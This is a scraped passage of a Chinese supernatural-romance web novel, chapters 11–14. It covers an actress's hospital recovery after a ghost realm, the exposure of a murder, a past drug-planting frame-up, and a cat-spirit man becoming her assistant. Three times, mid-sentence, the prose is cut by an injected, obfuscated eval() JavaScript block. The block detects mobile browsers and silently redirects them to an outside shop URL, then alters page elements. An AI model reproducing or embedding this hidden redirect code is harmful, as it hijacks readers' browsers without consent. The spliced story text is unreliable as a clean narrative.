月季小院中,沉默肆意蔓延,头顶月光愈发微弱,天际慢慢擦出一线鱼肚白。 亡魂开始消散,水晶兰失去了它原本的光泽,化作齑粉四散在空气里。 赵舒昕安详地枕着树根,已然接受了自己的归宿。 那张苍白的面容漾起一抹真诚的笑,“谢阮,我要走了。” “谢谢你。” “对不起。” 话音落下,月季花丛翻涌起淡金色的波浪,管家和何宥文接连消失,赵舒昕也只剩下一道虚影。 谢阮抬眼望进她的眼睛。 没有愤恨、嫉妒,有的只是释然与轻松。 在真正的死亡降临以前,赵舒昕终于做回了她自己。 良久,谢阮张了张嘴,无声吐出一句,“没关系。” 至此,金红的太阳终于完整跃出了地平线,朗日晴空却骤然下起小雨。 谢阮重重闭了闭眼,随后走进雨里,停在赵舒昕消失的地方,伸手蘸着雨水,一笔一划写下自己的姓名。 凋落的花瓣缀在每一笔,仿佛有人在做最后的告别。 天亮了。 11. 匿名邮件 “好的陈导,没事,咱们保持联系......” 耳边一阵窸窸窣窣,声音听着几分熟悉,谢阮睁开眼,慢吞吞转头。 入目一片纯白,消毒水的气味窜入鼻息,她现在在医院里。 接电话的是经纪人,谢阮张了张嘴,嗓子干得说不出话。 好在江琅一直注意着自家艺人的动静,见状她挂断电话,把谢阮扶起来,在她腰后垫了枕头,又倒了杯温水放进她手中。 “琅姐。”谢阮抿了两口,问,“你怎么来了?” “我再不来你就该烧成傻子了。”江琅叹了口气,“送你来之前我这心里就不怎么踏实,钦江下了几天的雨,我右眼皮就跳了几天。” 谢阮无奈,“你那是累的。” “所以我怎么进的医院?” “救护车抬过来的。”江琅没吓唬她,“昨天傍晚忽然下了一阵暴雨,剧组拨给你的那间休息室下方土质疏松,没多久就被大雨冲垮了。” 地势高差导致临时搭建的休息室摇摇欲坠,所幸剧组撤离及时,在棚子垮掉前把谢阮拖了出来。 当时外面闹哄哄的乱作一团,场务分出人手对接演员时才发现谢阮晕倒在一旁,双眼紧闭,面色苍白,陈仪吓得连夜找人把她送进了县城的公立医院。 原来是发烧了,谢阮抬手摸摸额头,猜测这会不会是生魂进入魂场引起的副作用。 想了一会儿没什么头绪,她放下手,问:“方季遂呢?” “在隔壁病房里歇着呢。”江琅按按眉心,“平地摔崴了脚,医生说还要再养些日子。伤筋动骨一百天,正好陈导那边暂停拍摄了,你们两个都好好休息休息。” 谢阮一愣,“什么时候复工?” 江琅:“不好说,项目还能不能进行下去,得看陈导怎么解决这次的事。” 说着,她拿起搁在茶几上的平板,调出一份调查资料递给谢阮,“具体调查结果暂时没有对外公布,这些都是梁总打听到的,你看看。” 谢阮于是垂眼翻阅起手里的报告。 原来,钦江昨天的暴雨不只冲塌了剧组小部分影棚,高涨的雨水还漫进了紧挨着棚子的宗祠,村民们不得不提前将停灵满七日的棺材封棺下葬。 奈何赵家沟前的泥路不好走,有个抬棺的小伙脚下打滑,不小心把木棺摔出了一道豁口。 豁口中掉出半截手臂,沾满泥土的手腕上,套着一支玉质上佳的翡翠镯。 绝对不可能是村里先前寿终正寝的老人。 抬棺的几人稍一合计,将棺材落在原地,等村长过来确认情况属实后,一行人上香拜过先祖,直接开了棺。 在棺主人的尸体底下,村民们看见了数块断肢,和一颗死不瞑目的脑袋。 赫然属于何宥文口中正在度假散心的赵舒昕。 剧组和村民立刻报了警,法医赶到现场时,赵家沟上涨的水位又将另一具尸体推到岸边,撞翻了工具箱。 那张肿胀发青的脸曾多次出现在头版头条里,谢阮甚至亲眼目睹了他的死亡。 风光无限的何家老二就这样无声无息地死在了钦江。 “陈导这些天忙得焦头烂额,根本没空管电影的事。何家找他要说法,赵舒昕的粉丝也找他要说法,其实陈导知道的不比咱们多,警方公告估计还得等两天。”江琅示意她往下滑几页,“这是梁总托人拿到的尸检结果。” 结果和谢阮猜测的大差不差。 何宥文心存侥幸,以为把赵舒昕大卸八块扔进棺材里,再抹去自己的在场痕迹就可以无事发生。 他做事不如清道夫熟练,忘了赵舒昕曾抠破了他的手背,后面联系清道夫时也并未说明这一点。 而封棺之后轻易不能开棺,清道夫收尾的时候也就没有兼顾到宗祠里的那口棺材。 可尸体恰恰保留下了最关键的证据。 赵舒昕的指甲缝里有皮屑残留,DNA比对结果指向了已经溺毙的何宥文。 大雨可以掩盖脚印,金钱和权力为破绽百出的行程轨迹打上了完美的补丁,真相却永远不会被人性的阴暗面所湮没。 最后一丁点血迹,附着在小院外枯萎的月季花上。 “也就是说,何宥文杀死赵舒昕后,始终逍遥法外,直到几天前跑回案发地,莫名其妙摔进赵家沟淹死了。”江琅摸摸下巴,“尸检结果显示赵舒昕肚子里有个成形的孩子,现在比较可信的说法是两人因为这个孩子产生纠纷,然后何宥文失手杀了她。” 何赵二人见不得光的关系一朝浮出水面,黎津的二代圈子似乎从中嗅到一点异样。 “对了,还有件事。”江琅想起什么,忽然压低声音,“你那间休息室和赵家村的宗祠隔壁隔,棚子倒的时候祠堂也坍了个角,有人透过开裂的地面看见了一片鲜红的图案。” 但图案很快被掩入废墟之下,清场时痕迹全无,陈仪不想再生事端,因此压了下来。 图案,阵法,谢阮若有所思,问:“见过的人有没有说是什么样子的图案?” “好像是猫。”江琅说,“红圈中央画着一只长得像猫的动物,从圆周伸展出好几条锁链,缠在猫身上,据说像座铁链打的笼子,把猫困在里面。” 猫?谢阮轻眯起眼睛。 “陈导停工也是好事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516833|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赵舒昕整得像你,有几家媒体已经盯上你了。”江琅没有察觉到她的异样,收起平板继续说,“这几天你还是留在医院,出院的事得仔细安排,还有助理......” 话没说完,手边有什么东西猛地震了一下。 是谢阮的手机,她高烧昏睡期间,江琅顺手替她收在床头柜上。 谢阮解锁屏幕,看见后台挤满了未读推送,最新一条是一封邮件。 打开后只有一个附件,是压缩包,文件名是四个数字,连起来看像日期。 谢阮眸光微顿,扫了眼屏幕左上角,发件人信息被隐藏了。 鬼使神差地,她没有当着江琅的面点开压缩包。 因为如果发件人真如谢阮所想,那么这件事绝不是她们两个现在一拍脑袋就能解决的。 谢阮手里没有能用的人,这事得找梁帧。 江琅见她面色凝重,并未多问,只说:“我请医生来再给你做个检查?” 谢阮嗯了一声,注意力仍然停留在手机里。 - 检查结果显示谢阮恢复得不错,其实今天出院也行,但这两天医院外面埋伏着好几家狗仔,江琅打算等一段时间再接人离开。 送走医生后,她陪谢阮坐了一会儿,除了陈仪那边的消息,还有一些工作得和谢阮通个气。 稍不留神便说得久了点,江琅灌了口水,发现已经五点多了。 刚放下杯子,手机就响了。 江琅看了眼来电人,边拿包边朝谢阮说:“公司有点事,我得先回去一趟,晚点应该有护工过来。另外方少估计不能再给你当助理了,梁总那边好像另有安排。” “行,路上慢点。”谢阮摆摆手示意自己可以。 江琅于是关上门,抬脚往电梯的方向走。 闪烁的红色数字很快在十二楼停下,电梯门向两侧缓缓打开,从里面走出一个身形挺拔的青年。 出于职业习惯,江琅经过对方时,下意识用余光打量起他。 宽大的纯色短袖搭配工装裤和板鞋,极其普通的休闲装束,但青年宽肩窄腰,露在外面的胳膊线条流畅紧实,将这身衣服衬得挺阔有型。 他戴了一顶鸭舌帽,黑色口罩又遮住大半张脸,江琅只看清了他的眼睛,怔愣两秒,旋即意识到对方是混血。 少见的苍绿色,像藏在洞穴深处的宝石,引人注目。 再想看时,电梯门已经合上了。 门外,青年察觉到落在自己背后的视线隐隐有几分探究,眉头几不可查地皱了一下。 他低头瞥了眼震动的手机,走向十二楼东侧的VIP病房。 12. 在?看看猫 周邂推开门走进去,看见方季遂懒散地窝在被子里,对着手机屏幕骂骂咧咧,“闪现迁坟哎,亏损最大化——” “精神不错。”他抬脚勾来一张椅子,背对窗户在床边坐下。 “还行还行,我毕竟不是真摔。”方季遂没抬头,手指飞快地点过屏幕,一边打游戏一边问,“师兄,魂场入口为什么是赵家沟啊?我在村长家蹲了几天,差点错过魂场开放的时间。” 周邂摘下帽子口罩,报了个名字,“何宥文。” “何宥文?他不是被赵家沟的河水冲上岸的吗?这么说,他进魂场前就已经在沟里了?”方季遂赢了游戏,长舒一口气,转而问,“阮姐又是怎么进去的?我记得魂场一般只有一个入口啊。” 周邂皱眉看他,示意方季遂自己想。 方季遂挠挠头,望向师兄的眼神中透露出一丝清澈的愚蠢。 周邂:“。” “赵舒昕。”他按按眉心,解释,“魂场主真正的埋骨地就在谢阮休息室隔壁。” 执念为引,骸骨作媒介,赵舒昕死后才能见到生前一直无法再见的人。 于谢阮而言,却是一场无妄之灾。 方季遂深以为然,感慨道:“幸好师父把你叫来了。” 他知道周邂另有任务在身,又顺嘴问:“你要找的东西找到了吗?” 闻言,周邂小幅皱了一下眉,点点头。 方季遂没有错过他眼底转瞬即逝的反感,看来那样东西有些棘手。 他想起夹在只言片语里传入自己耳中的那则怪异图案,偏头盯着周邂的脸,欲言又止。 方季遂还没来得及问,床垫忽然震了两下。 小方一跃而起,“地震了!” “手机。”周邂单手把人按回去,微抬下巴提醒他。 方季遂哦了一声。 他从枕头底下摸出发烫的手机,按亮屏幕,来电人是谢阮。 “阮姐,你醒啦?感觉怎么样?” “还有点头痛。”谢阮问,“你呢?” 方季遂好得很,能吃能睡还能驰骋王者峡谷。 谢阮听声音就知道他没事,于是哪壶不开提哪壶,“阿桢告诉我,你下周期末,你打算什么时候回学校?” 方季遂立马蔫儿了,“就这两天吧,但我走了的话,你怎么办?” 谢阮刚出道时拒绝了公司安排的生活助理,谢董听说后,直接越过经纪公司给她塞人。 谢阮无奈,只好暂时将对方安置在一楼客房。 两人相安无事地共事了一年左右,直到今年年初,谢家闹出了一桩不大不小的丑闻,谢阮才终于有机会把那个助理辞退。 此后很长一段时间,谢董都没再找到合适的理由向她施压,生活助理一职也就这么空了下来。 然而谢家最近又有给谢阮塞人的迹象,谢阮疲于应付,只能找梁桢借人。 凑巧方季遂大四,还缺段实习经历,梁桢和谢阮一合计,决定把弟弟送来当挡箭牌。 方季遂再三确认过自己的专业,“我是学视觉传达设计的吧?” 梁桢忽悠他,“谢阮拍戏你就在片场多走走,多和制作组学习学习,怎么专业不对口了?” 方季遂无从反驳,专业半对口地给谢阮当了小半年生活助理。 方季遂一离职,谢阮还得重新找块挡箭牌。 这么一想,她头更痛了。 谢阮叹了一口气,“阿桢会帮我物色新助理,你好好复习,返校后记得联系琅姐给你盖实习章。” 方季遂一一应下。 “还有一件事。”谢阮顿了顿,小声问,“你师父还在钦江吗?” 方季遂一愣,视线下意识滑向一旁的周邂。 猫的听力一向不错,况且对方的真身比猫更厉害,距离自己又不远。 周邂果然瞥了他一眼,摇头。 方季遂只好说:“不在,怎么了?” 电话那头有些惋惜,“我想见见那只黑猫。” 谢阮想知道,方季遂师父养的猫,和她在后山捡到的那只,是不是同一只猫。 “你师父会去黎津吗?”她问。 方季遂拿不准周邂的态度,模棱两可地答:“如果师父来黎津,我就喊你来看猫。” 谢阮说可以。 两人聊了会儿别的,最后谢阮头疼得厉害,挂掉电话继续睡觉去了。 方季遂倒是精神抖擞,他摸摸熄屏的手机,支着下巴琢磨起新助理的事。 还没想出个所以然,冷不丁听到旁边有人问:“她为什么不用公司的助理?” 方季遂一个激灵,才意识到周邂没走。 太像猫就是这点不好,悄无声息的,像一团投射在墙面上的影子。 谢阮排斥谢家,这在黎津的上层圈子间不算什么秘密。 进入娱乐圈一方面是因为她母亲,另一方面,谢阮也的确存着几分逃离谢家的想法,但谢董不会放任她脱离自己的掌控。 所以谢阮的第一任经纪人和助理,都来自于谢家的安排。 方季遂想了想,直接从生活助理开始说:“阮姐对第一任助理不是完全没有戒心,助理搬来之前,阮姐在家中隐蔽的地方都装了摄像头。” 摄像头是梁桢和方季遂帮谢阮一起弄的,装到最后还剩两个,梁桢放了一个进衣帽间的透明收纳,另一个则被谢阮拿走,藏在正对衣帽间的一盆绿植里。 第一任生活助理叫江敏,方季遂亲自盯了她两个月。 “脾气特别好,好到我觉得她有点逆来顺受。”方季遂说,“你不知道,阮姐那时正是迟来的叛逆期,面冷心也冷,很难相处。” 江敏却对谢阮的坏脾气照单全收。 导致谢阮在得知对方身世后,愧疚感反扑得极为猛烈。 “母亲早逝,父亲冷落。”方季遂啧了一声,“精心设计的陷阱啊——” 但谢阮权衡许久,还是给出了一点信任。 方季遂的盯梢任务于是从五十七个摄像头锐减为七个。 结果没过多久就出事了。 周邂挑眉,问:“那位助理,在她家里放了什么东西?” “违禁药物。”方季遂说。 那天谢阮出门赴梁桢的约,因为是私人行程,所以没带助理。 不曾想饭吃到一半,梁桢临时有事,先坐另一辆车回了公司。 谢阮自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539055|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己在外面逛了一圈,回程时就开了梁桢来接她的那辆越野。 谢阮径直开进了别墅下的地库。 她常年在外拍戏,不怎么来地库,停车停得横七竖八,驾驶座的车门差点剐蹭到一侧围墙。 谢阮小心翼翼地穿过门缝下车,却还是脚下一滑,好像踩到了什么。 她蹲下来,用手机电筒来回照了个遍,看见地面上松碎地散着一层细白的粉状物。 这个车位原本就不常用,谢阮本人也没有从地库入户绕回楼上客厅的习惯。 她躲在车门后迟迟没有起身。 越野车身高大,从另一面看不到驾驶位敞开的车门。谢阮蹲在地上,按下静音键,同时拨通了梁桢的电话,紧接着又在对方接起电话前迅速挂断,把提前编辑好的短信发了出去。 另一边,梁桢收到信息,立刻叫停会议,喊了秘书一起匆匆往外走,“你去找我大伯要两个鉴定科的人,再从保卫部调一队安保跟我走,快!” 十五分钟后,梁桢带人悄悄溜进地库。 谢阮怕家里进了其他人,蹲在原地没敢动弹,看见梁桢才松了口气。 她同梁桢身后的便衣点点头,扶着车门站起来,换了拖鞋,绕开那堆粉末,上了别墅外的保姆车。 “还好监控没有全拆。”梁桢冷声,“是她。” 谢阮随手丢在绿植里的摄像头并未被人发现,相反,隔着一丛枝叶,有人放入了另一枚摄像头,而夹在画框顶部的机位拍到了她的正脸。 正是沉默温静的江敏。 谢阮向后仰靠进座椅中,半晌,扯了扯唇角。 屏幕上,回流的录像产生了些许变化,江敏走进衣帽间,背对放满手表的透明收纳柜,拨出了一个电话。 通话内容被监控一字不落地收录进画面,“小谢总,东西已经按照您的吩咐撒在地库里了,现在就等您联系的人上门。” 小谢总,谢阮轻嗤一声,原来是替谢如远办事。 梁桢跟着骂了一句“蠢货”。 谢如远和他那个脑子里装满了金银珠宝的妈一样,有点不入流的小聪明。 放在平时,谢董或许还能对这些小聪明睁一只眼闭一只眼,前提是谢如远做的事不会威胁到谢家的脸面和声誉。 “从他打算用违禁药物把阮姐送进去的那一刻起,路就已经走窄了。”方季遂提起谢如远时情绪很外露,周邂看得出他非常厌恶对方。 “后来呢?” 后来,谢阮用一份药物鉴定报告,从谢董那里换取了自由挑选经纪人和助理的权利。 很勇敢,也很聪明,周邂轻眯起眼睛,想起谢阮在谢家的处境,眼底划过几分欣赏。 “所以我该上哪里找个合适的挡箭牌呢?”方季遂牵肠挂肚,嘀嘀咕咕。 过了两秒,周邂感到有一缕目光落在自己身上。 方季遂鬼鬼祟祟,“师兄啊——要不——” 见他欲言又止,周邂好整以暇,“要不什么?” “要不你替我一阵吧。”方季遂怕他拒绝,开始卖力吹捧谢阮,“阮姐人美心善,是我见过的最......” 话没说完,听见周邂嗯了一声,“行。” 13. 新助理 “阮姐不吃炒水芹,但是芹菜鲜肉馅儿的水饺可以。” 窗外夜色渐深,医院一条街外,商圈灯火通明。 虽然周邂是临时工,但方季遂依然事无巨细,从生活作息输出到饮食习惯,“葱花香菜要分情况,不吃......” “不吃姜,但吃火锅喜欢油碟,所以会放少许姜末在蒜蓉蚝油汁里。”周邂低头看了眼手表,“你刚才说过了。” 方季遂摸摸鼻子,忽然问:“到点了?” 周邂嗯了一声,重新戴上帽子和口罩,离开前,他叮嘱道:“回黎津后别忘了找你师父交差。” - 入夜,医院的阴气比白天更重。 普通人被阴气缠上顶多觉得冷,严重些可能会做噩梦,第二天醒来晒过太阳便无大碍。 谢阮头痛,七点多就又睡着了。 梦里是深山刮来的风,苍木顶不住强劲的风力,折断了顶部的细枝,被大雨裹挟着漫溢向山下。 直到被一栋建筑截住去路,才惊涛拍岸似的回撤,复又卷土重来,在空谷间激起一片回音。 那是谢家搭在后山的祠堂。 而谢家老宅位于长禄山山脚,与祠堂相距不远,谢阮梦见了自己第一次上山的时候。 那天,她回老宅有事,但老宅路绕,谢阮反应过来时,已经走错了路。 谢家老宅是非常典型的江南园林式建筑,假山奇石、小桥流水布置得颇有讲究,稍不留神就会绕进去,原路返回几乎不可能。 她只好沿着曲折回廊,继续走那条蜿蜒的小路。 路的尽头却不是熟悉的垂花门,而是一栋四五米高的房子。 祠堂外墙老化严重,灰扑扑落了一地泥屑。雨水顺着翘起的屋檐汇聚成一条簌簌的水柱,形成天然的门帘。古旧木门镶了铜边,在阴暗的天色里泛起湿冷的光泽。 门没锁,山风把门吹开,谢阮收了伞走进去。 高高的桌台上供奉着数十块牌位,蛛网连结,摆在最后的早已看不清生卒年月。 离她最近的木牌也都立在香火后头,烛光轻曳,谢阮不自觉地循着光线走到某处停下。 那块牌位看起来时常有人眷顾,字迹虽略模糊,但木漆依旧锃亮,积灰也少。 谢阮看见它左下方的桌面上摆着一枚吊坠模样的木牌。 她伸手将木牌拎到眼前—— 己卯年六月初九。 除了一个语焉不详的日期,其余部分像是蒙着一层灰雾,手指能感觉到字迹深深浅浅的痕辙,但谢阮读不出是什么内容。 祠堂外,雨越下越大,水渍攀着门槛渗入室内。长明灯晃了晃,被卷进来的风吹灭,灰暗的梦境转瞬陷入一片漆黑。 湿冷沿着背脊蔓延至四肢,病房里,谢阮裹着被子微微发抖。 周邂一出门就和隔壁飘来的阴气打了个照面。 虚空中,黑雾化作丝丝缕缕的细线,穿过细窄门缝,钻进了隔壁病房。 周邂捻了捻指尖,在病房对面的长椅上坐下。 二十出头的男生穿一身黑衣黑裤,深更半夜像个盯梢的不法分子。 以至于路过的护士表情严肃地审视了他十几次。 周邂对此一无所知,他熟门熟路地剥离出自己的生魂,尾随那抹阴气,从门缝里飘进去,变成一只小黑猫,趴在了谢阮手边。 茸茸的大尾巴圈住她的手腕,黑猫支着脑袋打量起被梦魇住的谢阮。 一般生魂从魂场出来,多半要生点病,但像谢阮这样烧了整一天,还会做噩梦的生魂,并不常见。 未施粉黛的脸稍显苍白,下巴圆润的弧度也略有消减,长而卷翘的睫毛在脸上落下小片羽扇般的阴影,覆住眼下淡淡的乌青。嘴唇没什么血色,但谢阮的唇形很好看,唇珠圆润饱满,中和掉了面中大部分的冷。 黑猫盯着她看了一小会儿,下意识舔了舔爪子。 门外长椅上,周邂耳根有些烫。 病房里,枕头边,黑猫尽职尽责地驱赶着屋内的阴气。 雨停了。 谢阮松开眉头,微弱的呼吸渐渐规律。 见状,黑猫蹭到她身边轻轻贴了贴她的侧脸,又抬爪按按对方的眉心,将一抹幽绿注入其中。 正准备原路返回时,被子冷不丁把它裹进谢阮怀里。 黑猫一愣,尾巴尖嘭地炸开。 生魂在现实世界没有实体,胸前的温度却如有实质。 虽然是自己选定的饲主,但黑猫还是害羞得蜷了尾巴。 它趴在谢阮胳膊上缓了一会儿,才把自己团成一坨小小的黑气,东倒西歪地飘回周邂身上。 生魂归位,男生把口罩拉到眼睛下面,落荒而逃。 背影有几分欲盖弥彰。 - 第二天依旧是晴天。 谢阮醒来时才刚过八点,她依稀记得自己昨晚做了个梦,但这会儿什么都想不起来了。 难得早起却无所事事,谢阮翻出平板打算找部电影打发时间,结果APP的首页推荐不知为何全是她的出道作。 谢阮觉得扫兴,干脆打开电视看起了新闻。 早间头条播完天气预报,主持人继续说,“日前,佳世传媒艺人赵舒昕女士不幸身亡,经警方调查,确认凶手为佳世传媒副总经理何宥文......经检方核实,确认赵女士经纪人杨钱......” 官方报道竟然已经出来了,谢阮揉揉眼睛,目光不由认真几分。 赵舒昕一案最终以杨钱锒铛入狱结尾,佳世娱乐受到影响,负面新闻铺天盖地挤占了各大头版头条。 但百足之虫死而不僵,还不够。 谢阮有种直觉,那个附在邮件之后的压缩包,会是压死佳世的最后一根稻草。 她摸到手机,和梁桢约了见面时间。 几天后,江琅处理完公司的事,赶回钦江给谢阮办了出院手续。 “这段时间你就暂时在家休息,工作上有什么安排我会及时发给你的。”江琅替她收拾好衣物,拖着小行李箱把人送到地下停车场,“对了,梁总派了新助理来接替方少。” 两人走出电梯,来到西北角一处停车位。 纯黑的越野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14539542|154922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车身泛起重金属独有的冷感,驾驶位车门被人从内打开,昏暗光线隐约勾勒出一道颀长挺拔的身影。 周邂绕到车前,同江琅打过招呼,随后看向旁边的谢阮,“你好,我是周邂。” 借着指示灯牌微弱的光晕,谢阮仰头看向他。 新助理比起弱不禁风的方季遂高了很多,谢阮一米七的个子不算矮,却也只到他下巴。 他今天穿了一件白色的棉质短袖,头发乖顺地散在额前,看起来没什么攻击性。 如果不是那双眼睛,江琅也很难将眼前人与电梯外擦肩而过的黑衣男生联系起来。 “外面有记者,我带司机先走。”说着,她把谢阮交给周邂,转身上了艺人平常坐的那辆保姆车。 保姆车开出去以后,周邂拎起谢阮手边的行李箱,侧眸,“走吧。” 谢阮哦了一声,坐进副驾。 车内有一股淡淡的清香,像是某种天然木料,长年累月浸润在深山的光与雨隙,叶尖常青不败,湿润而不黏腻,夹杂着少许阳光独有的暖意。 不太像周邂给她的第一印象。 因为方季遂的描述,谢阮原本以为来的会是什么花臂壮汉,面冷话少,不苟言笑。 “平常人从魂场出来,魂魄不稳,可能会遇上点小麻烦。”方季遂夸下海口,“不过有我师兄在,他面相凶,镇得住厉鬼。” 见面后才发现人不可貌相,当临时工也屈才了。 越野平稳地驶出地库,车里一片安静。 周邂话少,谢阮也不是喜欢社交的人,但考虑到两人未来会共事一段时间,她主动打开话茬,“周师兄,不知道方季遂有没有和你解释过我找生活助理的原因。” 她不知道怎么称呼对方,索性跟着方季遂喊。 一旁,周邂听到这声“师兄”,眼底浮出一缕淡笑。 “说过。”他听起来接受度良好,“挡箭牌,不是吗?” 谢阮不置可否,“算是,因为一些私人原因,你可能需要搬来我家住,不过我近期一直在家,所以如果你有别的工作要忙,也可以带过来处理。” 给她当生活助理,明面上的自由度不高,但私底下,谢阮并不会限制对方的活动。 闻言,周邂抬起头,透过车前的反光镜看了她一眼,“我这段时间还算清闲,给你当助理也是帮方季遂一个忙,你不必有心理负担。” 话音刚落,谢阮不自觉地松了口气。 她确实怕麻烦,而且比起自己处理麻烦,谢阮更担心给别人造成麻烦。 但既然周邂这么说,他们应该正常以朋友的身份相处就好。 谢阮靠向椅背,压在心底的重重思虑蓦地散去。 越野驶出地下停车场,回到医院外的主路,大片日光随之倾落,将车内照得透亮。 谢阮微微眯眼,摇摆不定的目光渐渐飘向了后视镜。 停车场里采光不足,她刚才并没有看清周邂的长相。 从这个视角看后视镜,也只能看见一双眼睛。 但那双眼睛,谢阮愣了愣,瞥见一抹若有似无的苍绿。 14. 大猫和小猫 医院位于黎津市郊,绕过市区走高速,差不多一个半小时就能到家。 周邂开车稳,谢阮不知不觉眯了半个钟。 醒来时看见手机里一堆未读,她扫了眼联系人,眉头几不可查地皱了皱,只回复了梁桢和江琅。 方季遂也发了消息。 方季遂:[怎么样阮姐?见到师兄了吗?] R:[见到了,周师兄看起来挺随和的,等你有空一起吃饭] 方季遂:[?] 他不理解,周师兄素日不苟言笑,最铁面无私最有距离感,谢阮哪怕夸周邂长得不赖都还算正常,随和是从哪里看出来的? 别是认错人了。 方季遂:[你没上错车吗?师兄瞳色带点暗绿,你再确认一下] 谢阮:“......”真要认错,现在也晚了。 不过她还是下意识瞥了一眼后视镜。 R:[没有] 点了发送,视线却并未从镜中移开,因为方季遂的话,谢阮又盯着后视镜里的那双眼睛多看了几眼。 暗绿其实不太恰当,昏暗环境下看不仔细便觉得是暗绿,但如果光线好一些,譬如现在,淡金色的阳光凝成一片朦胧光斑滤过眼瞳,墨色为底,掺进去几许松绿。 是一种苍翠而剔透的绿。 越看越像那只猫,谢阮逆着光微微眯眼,既然方季遂见过他师父养的黑猫,身为师兄的周邂没道理不知道。 兴许猫原本就是周邂养的也说不定。 “怎么了?” 眼睛的主人抬起头,视线交错,谢阮莫名生出几分偷窥被抓现行的既视感。 她移开眼,“没什么,只是看见周师兄的眼睛,忽然想起之前在魂场见过的猫。” 总盯着人瞧不礼貌,谢阮目视前方,没发现提到猫时,周邂有一瞬捏紧了方向盘。 她倒是善于联想,周邂抿了抿唇,“你指师父养的猫?” 谢阮嗯了一声,问:“有机会可以让我见见它吗?” 毕竟煤球救了她,就是不知道开了灵智的小猫喜欢什么牌子的猫条。 周邂轻笑,“你买的它都喜欢。” 这是答应带她看猫的意思,谢阮抠抠手机壳上的小猫浮雕,想起另一只猫,有点发愁。 自从那日黎津大雨,长禄山顶的道观被雨冲垮后,她就再也没见过自己散养在后山的小黑猫。 虽然那猫本就是野猫,但断断续续喂了好几年,谢阮总归放心不下。 来钦江前她反复去了几次后山,猫影没见到半个,人却找回来一个。 谢阮差点忘了告诉新助理,“周师兄,我家还有别人。” 话音刚落,周邂不知想到哪里去了,唇角的笑意淡了一些,紧接着听见她补充:“是一个十多岁的小男孩。” 周邂难以置信,“你......” “不是我儿子!”谢阮打断他,“他是我从后山捡回来的小道童,你和方季遂既然曾经在后山那间道观修行过,说不定你们认识他师父。” “哦,这样。”周邂暗自松了口气,“我会帮你留意的。” - 车子驶入黎津市区已是下午四点多。 傍晚暮色四合,烟粉色的晚霞铺在天边,整座城市都笼罩在暖黄色的微光中。 成年以后,谢阮从长禄山脚的谢家老宅搬出来,住进了谢董在河西富人区为她置办的一套洋房里。没过多久,谢如远联合生活助理陷害谢阮的计划落空,她才得以名正言顺地搬进自己买下的公寓。 万华府是梁家前几年新开发的楼盘,户数不多,且每栋楼都是一梯一户,安保和私密性非常符合明星富商的需求。 梁桢替她留了一套复式。 面积相比起洋房当然不算大,但谢阮很喜欢。 从前衣食住行都由谢延旻差人一手包办,偌大别墅里看似人来人往,实际没一人能交心,甚至还要费心提防。 监视她的人不觉得累,谢阮却已经疲于应付。 这种情况自她搬来万华府后才有所好转,万华府里里外外都受雇于梁家,她父亲手伸得再长,也没理由干预梁家的生意。 说到底,谢阮当初只缺一枚与谢延旻谈条件的筹码。 而谢如远为她送来了那枚筹码。 新家在七栋顶楼,上下两户打通成一户,谢阮自己住绰绰有余。 一楼设施齐全,有两间客房,其中一间屋子被她塞了跑步机和钢琴,充当健身房和琴房。 另一间原本一直空着,半个月前,谢阮上山找猫,从后山捡了个小朋友回来,重新布置后便把对方暂时安置在客房。 这么看,周邂似乎只能住二楼了。 正好隔着书房有一间自带浴室的客卧,家政会定期打扫,留给周助理住正合适。 思忖间,越野缓缓倒进停车位。 谢阮从车上下来,站在安全出口找门禁卡。 周邂关上后备箱,推着行李走到她身侧,“走吧。” 谢阮点点头,将门禁卡贴在电梯门上,按完数字后顿了两秒,又把卡片塞进周邂手里。 周邂冷不丁被塞了一张门禁卡,神情疑惑。 谢阮解释,“办新卡流程太复杂了,你先用我的。” 户主有两张门禁卡,谢阮给了一张给梁桢。 除这两张固配卡之外,额外的门禁卡需要向物业递交申请。 江琅刚成为她的经纪人时,谢阮替她办过一张门禁卡,手续非常繁琐,申请材料甚至包含不知道有什么具体用途的体检报告。 而且亲友持有的门禁卡必须业主亲自跑手续,谢阮懒得动弹,不想再来一趟。 “那你怎么办?”周邂低头看她。 谢阮眼底划过一抹狡黠,“我刷脸。” 几句话的工夫,电梯缓缓停在了顶楼。 两人走到外门前,谢阮抬手按在指纹锁识别区。 哔—— 大门应声打开,与此同时屋内传来哒哒哒的脚步声,一道身影小炮弹似的冲出来。 “阿阮姐姐!”来人抱着谢阮撒娇,“你终于回来了,我好想你呢~” 谢阮被惯性冲得后退两步,笑着捏捏他的脸,“我也想......” 话没说完,怀里倏然一空。 谢阮回头,看见周邂拎着小朋友的衣领,面色不虞,“周夏时。” 他眉尾压得很 